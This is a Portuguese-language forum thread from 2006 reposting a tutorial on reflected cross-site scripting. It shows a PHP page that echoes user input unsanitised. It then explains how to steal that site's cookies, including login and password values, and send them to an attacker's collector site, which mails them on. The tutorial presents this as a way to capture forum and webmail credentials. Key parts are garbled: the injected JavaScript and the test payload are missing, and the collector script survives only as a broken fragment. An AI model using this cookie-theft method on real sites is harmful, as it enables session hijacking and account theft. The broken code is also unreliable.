XSS - Um exemplo de ataque

Started by vuln, 10 de October , 2006, 02:47:47 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

vuln

Vamos direto ao ponto. Um exemplo de código PHP vulnerável:

/*
 * Um simples exemplo de cookies que geralmente
 * são utilizados em sistemas web.
 * PHPSESSID -> SID padrão da configuração do PHP
 * login e senha -> cookies ficticios
 */
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');

/**
 * Parte vulnerável do código: Imprime os dados passados
 * pelo usuário sem nenhum tratamento
 */
echo $_GET['var'];

?>

O nosso objetivo

Eis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima:



Breve explicação meio longa

Nosso objetivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objetivo é simplesmente capturar os dados de cookie do www.alvo.com e enviar para o www.coletor.com.

Utilizando cookies em JavaScript

A instrução document.cookie retorna os cookies da página HTML. Ou seja, um código no script PHP acima irá produzir o seguinte alerta de saída:

PHPSSESID=meu_sid; login=meu_login; senha=minha_senha

Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos:

PHPSSESID=meu_sid;login=meu_login;senha=minha_senha

O coletor de dados

Sob nosso domínio temos o site www.coletor.com, que por sua vez receberá os dados do cookie enviados pelo nosso script através do script rc.php que enviará os dados para 'meu@email.com','Dados capturados', $_GET['xss']);
}
?>

Testando

Acesse a URL:

http://www.alvo.com/codigo_vulneravel.php?var=

Nota para tradução da URL:

    * %20: Caractere em branco
    * %2B: Sinal +


Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da página (ou alertas mais explícitos quando se possui depuradores de JavaScript), verifique o mailto:meu@email.com">meu@email.com.

Possíveis utilizações

O impacto desse ataque é mais grave em sistemas interativos, como fóruns e webmails. Pois como mostrado, com os dados de cookie é possível capturar senhas de e-mail, de usuários e administradores do fórum vulnerável. Para aqueles que se interessaram por esse artigo recomendo a leitura sobre seqüestro de sessões e do artigo abaixo:

    * Tratamento de dados fornecidos pelo usuário: projetando sistemas com mais segurança


Gostaria de salientar que as informações aqui contidas são de caráter educativo. Não me responsabilizo por sua utilização, ou eventuais dados ao seu sistema ou de terceiros.

Considerações finais

O ambiente de testes desse artigo utiliza a configuração padrão do PHP.

Fonte: VivaOLinux
"O amor por princípio, a Ordem por base, o progresso por objetivo."

Anonymous

Cara, realmente, muito bom!!!
Principalmente para mim, que tinha dificuldade em XSS.